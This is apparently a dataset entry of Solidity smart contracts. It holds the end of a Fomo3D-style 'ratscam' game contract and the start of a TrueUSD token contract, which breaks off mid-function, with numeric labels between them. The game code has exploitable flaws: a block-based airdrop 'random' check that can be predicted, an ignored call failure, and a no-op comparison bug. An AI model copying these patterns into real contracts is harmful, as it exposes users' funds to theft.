emit RSEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = RatBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = RatBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = RatBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _now = now;
if (_now < round_.end)
if (_now > round_.strt + rndGap_)
return( (round_.end).sub(_now) );
else
return( (round_.strt + rndGap_).sub(_now));
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
if (now > round_.end && round_.ended == false && round_.plyr != 0)
{
if (round_.plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_.pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[_pID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[_pID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID)
private
view
returns(uint256)
{
return( ((((round_.mask).add(((((round_.pot).mul(potSplit_)) / 100).mul(1000000000000000000)) / (round_.keys))).mul(plyrRnds_[_pID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256)
{
return
(
round_.keys,
round_.end,
round_.strt,
round_.pot,
round_.plyr,
plyr_[round_.plyr].addr,
plyr_[round_.plyr].name,
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)),
plyr_[_pID].aff,
plyrRnds_[_pID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
{
core(_pID, msg.value, _affID, _eventData_);
} else {
if (_now > round_.end && round_.ended == false)
{
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, RSdatasets.EventReturns memory _eventData_)
private
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_pID, _eth, _affID, _eventData_);
} else if (_now > round_.end && round_.ended == false) {
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
}
function core(uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_.eth < 100000000000000000000 && plyrRnds_[_pID].eth.add(_eth) > 10000000000000000000)
{
uint256 _availableLimit = (10000000000000000000).sub(plyrRnds_[_pID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_.eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys);
if (round_.plyr != _pID)
round_.plyr = _pID;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 100000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID].keys = _keys.add(plyrRnds_[_pID].keys);
plyrRnds_[_pID].eth = _eth.add(plyrRnds_[_pID].eth);
round_.keys = _keys.add(round_.keys);
round_.eth = _eth.add(round_.eth);
_eventData_ = distributeExternal(_pID, _eth, _affID, _eventData_);
_eventData_ = distributeInternal(_pID, _eth, _keys, _eventData_);
endTx(_pID, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID)
private
view
returns(uint256)
{
return((((round_.mask).mul(plyrRnds_[_pID].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID].mask));
}
function calcKeysReceived(uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(RatBook), "only RatBook can call this function");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(RatBook), "only RatBook can call this function");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = RatBook.getPlayerID(msg.sender);
bytes32 _name = RatBook.getPlayerName(_pID);
uint256 _laff = RatBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function managePlayer(uint256 _pID, RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
uint256 _winPID = round_.plyr;
uint256 _pot = round_.pot + airDropPot_;
uint256 _win = (_pot.mul(45)) / 100;
uint256 _com = (_pot / 10);
uint256 _gen = (_pot.mul(potSplit_)) / 100;
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys);
uint256 _dust = _gen.sub((_ppt.mul(round_.keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_com = _com.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if (!address(RatKingCorp).call.value(_com)(bytes4(keccak256("deposit()"))))
{
_gen = _gen.add(_com);
_com = 0;
}
round_.mask = _ppt.add(round_.mask);
_eventData_.compressedData = _eventData_.compressedData + (round_.end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.newPot = 0;
return(_eventData_);
}
function updateGenVault(uint256 _pID)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID].mask = _earnings.add(plyrRnds_[_pID].mask);
}
}
function updateTimer(uint256 _keys)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_.end && round_.plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_.end);
if (_newTime < (rndMax_).add(_now))
round_.end = _newTime;
else
round_.end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
returns(RSdatasets.EventReturns)
{
uint256 _com = _eth * 5 / 100;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit RSEvents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _pID, _aff, now);
} else {
_com += _aff;
}
if (!address(RatKingCorp).call.value(_com)(bytes4(keccak256("deposit()"))))
{
}
return(_eventData_);
}
function distributeInternal(uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_)
private
returns(RSdatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_)) / 100;
uint256 _air = (_eth / 20);
airDropPot_ = airDropPot_.add(_air);
uint256 _pot = (_eth.mul(20) / 100);
uint256 _dust = updateMasks(_pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_.pot = _pot.add(_dust).add(round_.pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys);
round_.mask = _ppt.add(round_.mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID].mask = (((round_.mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID].mask);
return(_gen.sub((_ppt.mul(round_.keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == 0xc14f8469D4Bb31C8E69fae9c16E262f45edc3635,
"only owner can activate"
);
require(activated_ == false, "ratscam already activated");
activated_ = true;
round_.strt = now - rndGap_;
round_.end = now + rndInit_;
}
}
library RSdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
}
struct Round {
uint256 plyr;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
}
}
library RSKeysCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface RatInterfaceForForwarder {
function deposit() external payable returns(bool);
}
interface RatBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
} | 0 | 346 |
pragma solidity ^0.4.18;
contract DelegateERC20 {
function delegateTotalSupply() public view returns (uint256);
function delegateBalanceOf(address who) public view returns (uint256);
function delegateTransfer(address to, uint256 value, address origSender) public returns (bool);
function delegateAllowance(address owner, address spender) public view returns (uint256);
function delegateTransferFrom(address from, address to, uint256 value, address origSender) public returns (bool);
function delegateApprove(address spender, uint256 value, address origSender) public returns (bool);
function delegateIncreaseApproval(address spender, uint addedValue, address origSender) public returns (bool);
function delegateDecreaseApproval(address spender, uint subtractedValue, address origSender) public returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract AddressList is Claimable {
string public name;
mapping (address => bool) public onList;
function AddressList(string _name, bool nullValue) public {
name = _name;
onList[0x0] = nullValue;
}
event ChangeWhiteList(address indexed to, bool onList);
function changeList(address _to, bool _onList) onlyOwner public {
require(_to != 0x0);
if (onList[_to] != _onList) {
onList[_to] = _onList;
ChangeWhiteList(_to, _onList);
}
}
}
contract HasNoContracts is Ownable {
function reclaimContract(address contractAddr) external onlyOwner {
Ownable contractInst = Ownable(contractAddr);
contractInst.transferOwnership(owner);
}
}
contract HasNoEther is Ownable {
function HasNoEther() public payable {
require(msg.value == 0);
}
function() external {
}
function reclaimEther() external onlyOwner {
assert(owner.send(this.balance));
}
}
contract HasNoTokens is CanReclaimToken {
function tokenFallback(address from_, uint256 value_, bytes data_) external {
from_;
value_;
data_;
revert();
}
}
contract NoOwner is HasNoEther, HasNoTokens, HasNoContracts {
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract TrueUSD is PausableToken, BurnableToken, NoOwner, Claimable {
string public constant name = "TrueUSD";
string public constant symbol = "TUSD";
uint8 public constant decimals = 18;
AddressList public canReceiveMintWhitelist;
AddressList public canBurnWhiteList;
AddressList public blackList;
AddressList public noFeesList;
uint256 public burnMin = 10000 * 10**uint256(decimals);
uint256 public burnMax = 20000000 * 10**uint256(decimals);
uint80 public transferFeeNumerator = 7;
uint80 public transferFeeDenominator = 10000;
uint80 public mintFeeNumerator = 0;
uint80 public mintFeeDenominator = 10000;
uint256 public mintFeeFlat = 0;
uint80 public burnFeeNumerator = 0;
uint80 public burnFeeDenominator = 10000;
uint256 public burnFeeFlat = 0;
address public staker;
DelegateERC20 public delegate;
event ChangeBurnBoundsEvent(uint256 newMin, uint256 newMax);
event Mint(address indexed to, uint256 amount);
event WipedAccount(address indexed account, uint256 balance);
event DelegatedTo(address indexed newContract);
function TrueUSD(address _canMintWhiteList, address _canBurnWhiteList, address _blackList, address _noFeesList) public {
totalSupply_ = 0;
canReceiveMintWhitelist = AddressList(_canMintWhiteList);
canBurnWhiteList = AddressList(_canBurnWhiteList);
blackList = AddressList(_blackList);
noFeesList = AddressList(_noFeesList);
staker = msg.sender;
}
function burn(uint256 _value) public {
require(canBurnWhiteList.onList(msg.sender));
require(_value >= burnMin);
require(_value <= burnMax);
uint256 fee = payStakingFee(msg.sender, _value, burnFeeNumerator, burnFeeDenominator, burnFeeFlat, 0x0);
uint256 remaining = _value.sub(fee);
super.burn(remaining);
}
function mint(address _to, uint256 _amount) onlyOwner public {
require(canReceiveMintWhitelist.onList(_to));
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
payStakingFee(_to, _amount, mintFeeNumerator, mintFeeDenominator, mintFeeFlat, 0x0);
}
function changeBurnBounds(uint newMin, uint newMax) onlyOwner public {
require(newMin <= newMax);
burnMin = newMin;
burnMax = newMax;
ChangeBurnBoundsEvent(newMin, newMax);
}
function transfer(address to, uint256 value) public returns (bool) {
require(!blackList.onList(msg.sender));
require(!blackList.onList(to));
if (delegate == address(0)) {
bool result = super.transfer(to, value);
payStakingFee(to, value, transferFeeNumerator, transferFeeDenominator, 0, msg.sender);
return result;
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(!blackList.onList(from));
require(!blackList.onList(to));
if (delegate == address(0)) {
bool result = super.transferFrom(from, to, value);
payStakingFee(to, value, transferFeeNumerator, transferFeeDenominator, 0, from);
return result;
} else {
return delegate.delegateTransferFrom(from, to, value, msg.sender);
}
}
function balanceOf(address who) public view returns (uint256) {
if (delegate == address(0)) {
return super.balanceOf(who);
} else {
return delegate.delegateBalanceOf(who);
}
}
function approve(address spender, uint256 value) public returns (bool) {
if (delegate == address(0)) {
return super.approve(spender, value);
} else {
return delegate.delegateApprove(spender, value, msg.sender);
}
}
function allowance(address _owner, address spender) public view returns (uint256) {
if (delegate == address(0)) {
return super.allowance(_owner, spender);
} else {
return delegate.delegateAllowance(_owner, spender);
}
}
function totalSupply() public view returns (uint256) {
if (delegate == address(0)) {
return super.totalSupply();
} else {
return delegate.delegateTotalSupply();
}
}
function increaseApproval(address spender, uint addedValue) public returns (bool) {
if (delegate == address(0)) {
return super.increaseApproval(spender, addedValue);
} else {
return delegate.delegateIncreaseApproval(spender, addedValue, msg.sender);
}
}
function decreaseApproval(address spender, uint subtractedValue) public returns (bool) {
if (delegate == address(0)) {
return super.decreaseApproval(spender, subtractedValue);
} else {
return delegate.delegateDecreaseApproval(spender, subtractedValue, msg.sender);
}
}
function wipeBlacklistedAccount(address account) public onlyOwner {
require(blackList.onList(account));
uint256 oldValue = balanceOf(account);
balances[account] = 0;
totalSupply_ = totalSupply_.sub(oldValue);
WipedAccount(account, oldValue);
}
function payStakingFee(address payer, uint256 value, uint80 numerator, uint80 denominator, uint256 flatRate, address otherParticipant) private returns (uint256) {
if (noFeesList.onList(payer) || noFeesList.onList(otherParticipant)) {
return 0;
}
uint256 stakingFee = value.mul(numerator).div(denominator).add(flatRate);
if (stakingFee > 0) {
transferFromWithoutAllowance(payer, staker, stakingFee);
}
return stakingFee;
}
function transferFromWithoutAllowance(address from, address _to, uint256 _value) private {
assert(_to != address(0));
assert(_value <= balances[from]);
balances[from] = balances[from].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(from, _to, _value);
}
function changeStakingFees(uint80 _transferFeeNumerator,
uint80 _transferFeeDenominator,
uint80 _mintFeeNumerator,
uint80 _mintFeeDenominator,
uint256 _mintFeeFlat,
